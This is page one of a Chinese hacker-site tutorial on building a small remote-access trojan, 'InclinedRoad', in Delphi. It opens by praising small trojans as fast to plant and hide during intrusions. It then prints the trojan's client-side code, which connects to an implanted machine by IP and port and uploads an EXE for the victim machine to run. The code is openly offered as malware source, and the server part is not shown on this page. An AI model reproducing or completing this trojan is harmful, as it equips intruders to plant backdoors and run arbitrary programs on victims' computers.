黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐]使用Delphi打造木马
        ★★★★★
使用Delphi打造木马
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-11-21

价一匹木马的优略,除了功能的多少外,还有一点是必须具备的,那就是必须要小巧。只有小巧才能以最快的手段来种植,只有小巧才能更好的隐藏和捆绑。入侵过程中,有时候机会稍纵即逝,为了在很短的时间内种植后门,就必须使用小巧的木马来当先行者。现在的黑客入侵越来越注重木马的大小。只有那些刚刚接触木马的新手才会使用体型庞大的后门程序。 

我一直在想,使用delphi到底能写出多小的木马程序来?这个问题其实困绕了我很长一段时间。虽然Delphi是个很有效率的开发工具,但是它有一个缺点就是生成的EXE文件太大。一个程序就算只有一个空窗口体积也有286KB。怎么样才能把它变小呢?在经过多方面的查找资料和学习,功夫不负有心人。我终于写出来一个56K的小木马“InclinedRoad”(使用了UPX压缩),它的功能非常简单,只有上传和运行EXE程序的功能,不过这样已经足够当木马程序用了。 

其实也没有使用什么高深的技术,只是利用了WinSock API 来进行Socket编程,这些都是别人用剩下的东西,我之所以提一下,只是因为这方面编写木马的资料比较少。Delphi中各种网络组件的强大功能,都是建立在WinSock API基础之上的。具体的内容我不多说了,这里推荐一本书——《DELPHI深度编程及其项目应用开发》。这本书上面的“Socket编程”一章讲的非常详细,自己看就可以了。并且在我所写的木马中,里面的一些关键性代码,也是参考了这本书上的例子。废话少说,下面讲一讲木马“InclinedRoad”的开发过程: 

木马客户端关键性代码: 
//创建窗体时,启动WinSock动态链接库 
procedure TForm1.FormCreate(Sender: TObject); 
var 
awsadata:twsadata; 
begin 
if wsastartup($0101,awsadata)〈〉0 then 
raise exception.Create('不能启动winsock动态链接库'); 
end; 
//当窗体关闭时,释放WinSock动态链接库 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
if wsacleanup〈〉 0 then 
messagebox (handle,'清除WINSOCK动态链接库错误!','http://sforever.mycool.net',MB_OK) 
ELSE 
//清除WINSOCK动态链接库成功 
closesocket(client); 
end; 
procedure tform1.transfile(filename:string); //发送文件过程 
var 
ftrans:file of byte; 
flen:integer; 
blocknum,remainlen:integer; 
blockbuf:array[0..blocklen - 1] of byte; 
i:integer; 
sendlen:integer; 
begin 
assignfile(ftrans,filename); 
reset(ftrans); 
flen:=filesize(ftrans); 
blocknum:=flen div blocklen; 
progressbar1.max:=1 + blocknum; 
remainlen:=flen mod blocklen; 
sendlen:=1; 
for i:=0 to blocknum -1 do 
begin 
if (sendlen 〈= 0) then break; 
blockread(ftrans,blockbuf[0],blocklen); 
sendlen:=send(client,blockbuf,blocklen,0); 
progressbar1.position:=i; 
application.ProcessMessages; 
end; 
if (sendlen 〈= 0) then 
begin 
closefile(ftrans); 
messagebox(handle,'传输异常终止','错误',mb_ok); 
progressbar1.position:=0; 
exit; 
end; 
if remainlen 〉 0 then 
begin 
blockread(ftrans,blockbuf[0], remainlen); 
sendlen:=send(client, blockbuf, remainlen,0); 
if (sendlen 〈= 0) then 
begin 
closefile(ftrans); 
messagebox(handle,'传输异常终止!!','错误',mb_ok); 
progressbar1.position:=0; 
exit; 
end; 
end; 
progressbar1.position:=progressbar1.max; 
closefile(ftrans); 
messagebox(handle,'传输文件完毕!!','完成',mb_ok); 
progressbar1.position:=0; 
end; 
procedure TForm1.Button1Click(Sender: TObject); //建立连接 
var 
ca:sockaddr_in; 
hostaddr:u_long; 
begin 
//创建客户端的Socket 
client:=socket(pf_inet,sock_stream, ipproto_ip); 
if client = invalid_socket then 
begin 
messagebox(handle,'创建Socket错误!','错误',mb_ok); 
exit; 
end; 
ca.sin_family:= pf_inet; 
ca.sin_port:=htons(strtoint(trim(edit2.text))); 
hostaddr:=inet_addr(pchar(trim(edit1.text))); 
//判断IP地址是否合法 
if (hostaddr = -1) then 
begin 
messagebox(handle,'IP地址错误','错误',mb_ok); 
exit; 
end 
else 
ca.sin_addr.s_addr:=hostaddr; 
//连接服务器 
if connect(client, ca, sizeof(ca))〈〉0 then 
begin 
Application.MessageBox('建立连接失败!!','错误',mb_ok); 
exit; 
end 
else 
Application.MessageBox('建立连接成功','错误',mb_ok); 
end; 
procedure TForm1.Button2Click(Sender: TObject); //发送EXE文件 
var 
info:string; 
bufsend:pchar; 
re:integer; 
begin 
getmem(bufsend,1024); 
zeromemory(bufsend,1024); 
info:=extractfilename(OpenDialog1.filename); 
strpcopy(bufsend,info); 
re:=send(client,bufsend^,length(bufsend),0); 
if(re = socket_error) then 
begin 
exit; 
end; 
if (OpenDialog1.execute) and (fileexists(OpenDialog1.filename)) then 
transfile(OpenDialog1.filename); 
end; 
procedure TForm1.Button3Click(Sender: TObject); //退出程序并运行传输的EXE文件 
begin 
close; 
end; 

 

[1] [2] [3] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886